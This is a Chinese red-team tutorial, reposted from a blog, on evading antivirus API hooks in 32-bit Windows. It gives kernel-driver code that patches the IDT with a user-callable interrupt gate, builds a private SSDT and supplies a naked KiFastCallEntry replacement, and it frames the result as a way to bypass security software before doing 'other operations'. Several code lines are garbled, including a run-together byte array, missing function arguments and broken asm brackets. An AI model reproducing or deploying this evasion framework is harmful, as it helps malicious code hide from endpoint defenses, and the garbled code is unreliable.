构建API调用框架绕过杀软hook

admin 2022年4月26日15:05:08程序逆向评论11 views5767字阅读19分13秒阅读模式

首发于跳跳糖社区:https://tttang.com/archive/1546/

前言

我们知道杀软在API函数的监控上一般有两种手段,一种是在3环直接通过挂钩到自己的函数判断是否调用了这个API,另外一种方式就是在0环去往SSDT表的路径上挂钩来判断进0环后的操作。那么我们如果不想杀软监控我们的行为,之前提过的内核重载是一种绕过的方式,但是内核重载的动静太大,这里我们就通过直接重写3环到0环的API,通过重写KiFastCallEntry来自己调用内核的函数,以达到规避杀软的效果。

调用过程

我们首先来看一下API函数的调用过程,这里以OpenProcess函数为例

首先在kernel32.dll里面找到OpenProcess函数

构建API调用框架绕过杀软hook

往下走这里调用了NtOpenProcess

构建API调用框架绕过杀软hook

这里去导出模块看一下调用了ntdll.dllNtOpenProcess

构建API调用框架绕过杀软hook

这里在ntdll.dll里面定位到NtOpenProcess,这里使用7A的调用号,通过call dword ptr [edx]sysenter进入0环

构建API调用框架绕过杀软hook

这里进入0环之后首先会通过KiFastCallEntry,这个函数细节是很值得探究的,限于篇幅这里就不赘述了

构建API调用框架绕过杀软hook

我们直接去到关键的汇编语句,我们可以看到这里就是找到SSDT函数表的地址,通过3环传入的调用号,去SSDT表里面寻址

构建API调用框架绕过杀软hook

通过SSDT定位到NtOpenProcess函数

构建API调用框架绕过杀软hook

思路

我们总结一下调用过程

3环API(kernel32.dll) -> ntdll.dll -> sysenter -> KiFastCallentry -> SSDT -> 真正调用的0环API

我们可以在3环直接自己写asm汇编通过中断门的方式进入0环,因为在进入0环之后无论是KiFastCallentry还是KiSystemService最终都是会找到SSDT表的地址再去调用内核函数的,那么我们要实现的几个功能如下

  • 重写3环API通过中断门进0环
  • 重写KiFastCallEntry以免挂钩
  • 自己创建一个SSDT表
  • 编写内核函数挂到自己创建的SSDT表里面

实现

这里直接通过中断门的方式进入0环,IDT表的索引这里我定义为0x20

void __declspec(naked)MyTestAPI(int a, int b)
{
 __asm
 {
  mov eax, 0
  mov edx, esp
  add edx, 4

  int 0x20

  ret
 }
}

然后这里我们首先定义一个我们自己的SSDT结构

typedef struct _SSDT
{

 ULONG FunctionAddrTable;
 ULONG ArgumentSizeTable;
 ULONG Count;
}SSDT, *pSSDT;

然后构造中断门提权,这里需要首先了解一个段权限检查的知识

段权限检查

CPU权限等级划分如下,在windows里面ring0和ring3使用得较多

构建API调用框架绕过杀软hook

如何查看程序处于几环?(CPL)

CPL(Current Privilege Level) :当前特权级,CS和SS中存储的段选择子后2位

拖入程序到od,可以看到cs段为0023,拆开即为00100011,那么CPL取最后两位即为11,那么就是一个三环程序

构建API调用框架绕过杀软hook

这里再去windbg里面下个断点查看cs的情况,可以直接使用r命令,或者点击窗口查看,这里cs=8,拆分之后就是1000,后两位为00,说明CPL=0,为0环程序

构建API调用框架绕过杀软hook

DPL(Descriptor Privilege Level) 描述符特权级别

构建API调用框架绕过杀软hook

DPL存储在段描述符中,规定了访问该段所需要的特权级别是什么。通俗的理解:如果你想访问我,那么你应该具备什么特权。

举例说明:

mov DS,AX

如果AX指向的段DPL = 0,但当前程序的CPL = 3,这行指令是不会成功的,因为只有0环的程序才能访问0环的内存

RPL(Request Privilege Level) 请求特权级别

RPL是针对段选择子而言的,每个段的选择子都有自己的RPL

构建API调用框架绕过杀软hook

举例说明:

Mov ax,0x0008 与 Mov ax,0x000B //段选择子

Mov ds,ax Mov ds,ax

指向的是同一个段描述符,但RPL是不一样的

数据段权限检查举例

比如当前程序处于0环,也就是说CPL=0

Mov ax,000B //1011 RPL = 3

Mov ds,ax //ax指向的段描述符的DPL = 0

数据段的权限检查:

CPL <= DPL 并且 RPL <= DPL (数值上的比较)

注意:代码段和系统段描述符中的检查方式并不一样

总结:

  • CPL CPU当前的权限级别

  • DPL 如果你想访问我,你应该具备什么样的权限

  • RPL 用什么权限去访问一个段

那么为什么会有RPL的存在呢?

  • 因为我们本可以用“读写”的权限去打开一个文件,但为了避免出错,有些时候我们使用“只读”的权限去打开。

然后我们再回到中断门,中断门的结构如下,首先肯定要设置P位为1才有效,因为是从3环进0环提权,那么DPL就需要设置为3即11,再就是8-12位的第11位这个D,代表的是default,当系统为32位的时候置1,当系统为16位的时候置0,那么D位为1,只有当CPL=DPL的时候才能成功触发中断

偏移这里我们暂时先不设置,那么高四字节就可以得到0000EE00

构建API调用框架绕过杀软hook

然后我们再看段选择子,这里因为我们是在0环,这里即需要设置RPL=0,那么这里就可以得出低4位为0008

构建API调用框架绕过杀软hook

组合起来构造得到0000EE00 00080000,存放到数组里面

UCHAR Descriptor[8] = { 0x000x000x080x000x000xee0x000x00 };

然后通过SIDT aryIDT将构造得到的4字节通过RtlCopyMemory存放到IDT表里面,这里IDT的索引我设置的是0x20

 *(PUSHORT)Descriptor = *(PUSHORT)(&Temp_FunctionAddr); // 低2字节
 *(PUSHORT)((ULONG)Descriptor + 6) = *(PUSHORT)((ULONG)&Temp_FunctionAddr + 2); // 高2字节

 __asm
 {
  SIDT aryIDT
 }
 IDTAddr = *((PULONG)((ULONG)aryIDT + 2));

 RtlCopyMemory((PUCHAR)(IDTAddr + 0x20 * 8), Descriptor, 8);

再生成一个新的SSDT表,首先使用ExAllocatePool申请一块内存,判断一下是否生成成功

extern SSDT stSSDT = { 0 };

 stSSDT.FunctionAddrTable = (ULONG)ExAllocatePool(NonPagedPool, 0x1000);
 stSSDT.ArgumentSizeTable = (ULONG)ExAllocatePool(NonPagedPool, 0x1000);

 if (stSSDT.FunctionAddrTable == 0 || stSSDT.ArgumentSizeTable == 0)
 {
  return NULL;
 }

返回新SSDT表的地址

 RtlFillMemory((PUCHAR)stSSDT.FunctionAddrTable, 0x10000);
 RtlFillMemory((PUCHAR)stSSDT.ArgumentSizeTable, 0x10000);

 stSSDT.Count = 0;

 return &stSSDT;

再编写一个函数,当有新的内核函数创建时,存放FunctionAddrTableArgumentSizeTable,并把Count的值加1

ULONG AddFunctionToSSDT(pSSDT MySSDT, ULONG FunctionAddr, UCHAR ArgSize)
{
 ULONG Temp_Count = MySSDT->Count;
 *(PULONG)(MySSDT->FunctionAddrTable + Temp_Count * 4) = FunctionAddr;
 *(PUCHAR)(MySSDT->ArgumentSizeTable + Temp_Count) = ArgSize;
 MySSDT->Count = MySSDT->Count + 1;
 
 return Temp_Count;
}

再就是KiFastCallEntry函数的重写,这里需要通过IDA对堆栈结构进行分析,这里就不展开说了,直接贴代码和注释

构建API调用框架绕过杀软hook

这里注意必须使用裸函数,否则自动生成的汇编会将eax寄存器清0

void __declspec(naked) MyKiFastCallEntry()
{
 __asm
 {
  push 0
  push ebp
  push ebx
  push esi
  push edi
  push fs
  push eax
  mov eax,0x30
  mov fs,ax
  pop eax
  push dword ptr ds:0x0ffdff000   // 保存异常链表
  mov dword ptr ds:0x0ffdff00,0x0ffffffff // 修改异常链表
  mov esi,ds:0x0ffdff124
  xor ecx,ecx
  mov cl,byte ptr [esi+0x140]
  push ecx      // 保存先前模式
  sub esp,0x48     // 指向_Tramp_Frame的首地址
  mov ecx,1
  mov [esi+0x140],cl   // 修改先前模式
  mov ebp,[esi+0x134]
  mov [esp+0x3c],ebp   // 保存当前线程的Trap_Frame
  mov [esi+0x134],esp   // 修改当前线程的Trap_Frame
  mov ebp,esp
  cld
  mov[esp+0xc],edx
  mov ebx,[esp+0x60]
  mov edi,[esp+0x68]
  mov [esp+0],ebx
  mov [esp+4],edi
  sti
  mov edi,MySSDT
  mov ebx,[edi+4]  // 函数大小
  mov edi,[edi]   // 函数地址表
  xor ecx,ecx
  mov cl,[ebx+eax]
  mov ebx,[edi+eax*4]
  sub esp,ecx
  shr ecx,2
  mov edi,esp
  mov esi,edx
  rep movsd
  call ebx
  mov esp,ebp
  mov ecx,ds:0x0ffdff124
  mov edx,[ebp+0x3c// 还原Trap_Frame
  mov [ecx+0x134],edx
  cli
  mov edx,[esp+0x4c// 还原异常链表
  mov fs:0,edx
  mov ecx,[esp+0x48]
  mov esi,fs:0x124
  mov [esi+0x140], cl // 还原先前模式
  lea esp,[ebp+0x50]
  pop fs
  pop edi
  pop esi
  pop ebx
  pop ebp
  add esp, 4
  iretd
 }
}

然后这里我们再定义一个内核函数,调用成功则打印输出

VOID test(int a, int b)
{
 DbgPrint("API运行成功n");
}

然后再进行加载驱动

void UnLoad(PDRIVER_OBJECT DriverObject)
{
 ExFreePool((PUCHAR)MySSDT->ArgumentSizeTable);
 ExFreePool((PUCHAR)MySSDT->FunctionAddrTable);
 DbgPrint("Driver unload successfully");
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegisterPath)
{
 IncreaseInterruptToIDT((ULONG)MyKiFastCallEntry);
 MySSDT = IncreaseSSDT();
 DbgPrint("MySSDT : %xn", MySSDT);
 AddFunctionToSSDT(MySSDT, (ULONG)test, 8);

 DriverObject->DriverUnload = UnLoad;
 return STATUS_SUCCESS;
}

实现效果

这里首先打印出新SSDT表的地址

构建API调用框架绕过杀软hook

这里跟到86200B70这个地址去看一下,首地址为856fb000

构建API调用框架绕过杀软hook

然后这里跟过去看看,是没问题的

构建API调用框架绕过杀软hook

这里我们首先卸载驱动,看直接运行中断门使用int 0x20能否进入0环

构建API调用框架绕过杀软hook

可以看到这里报了0xc0005的异常且异常断在了int 0x20这一行

构建API调用框架绕过杀软hook

然后我们加载驱动,这里可以看到API调用成功

构建API调用框架绕过杀软hook

构建API调用框架绕过杀软hook

那么这里我们去pchunter里面看一下原来的SSDT表,起始地址为805A5614

构建API调用框架绕过杀软hook

结束地址为0x805CC8FE,而我们自己创建的SSDT表的地址为0x860203D0

构建API调用框架绕过杀软hook

那么如果杀软在KiSystemService去往SSDT表的路径上挂钩,我们通过自己重写3环到0环调用过程的这种方法是完全检测不到的。这里我只是简单的实现了一个打印的效果,那么既然已经绕过了杀软的检测我们当然也可以尝试一些其他的操作,在这里就不拓展了。

构建API调用框架绕过杀软hook

加下方wx,拉你入群一起学习:

构建API调用框架绕过杀软hook


往期推荐

记一次内网渗透靶场学习

hw面试题解答版

通过硬件断点对抗hook检测

bypass Bitdefender

绕过360实现lsass转储

一次简单的内网渗透靶场实战

惊!微软竟爆出如此漏洞

java agent使用与agent内存马


构建API调用框架绕过杀软hook

原文始发于微信公众号(红队蓝军):构建API调用框架绕过杀软hook

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月26日15:05:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  构建API调用框架绕过杀软hook http://cn-sec.com/archives/943337.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: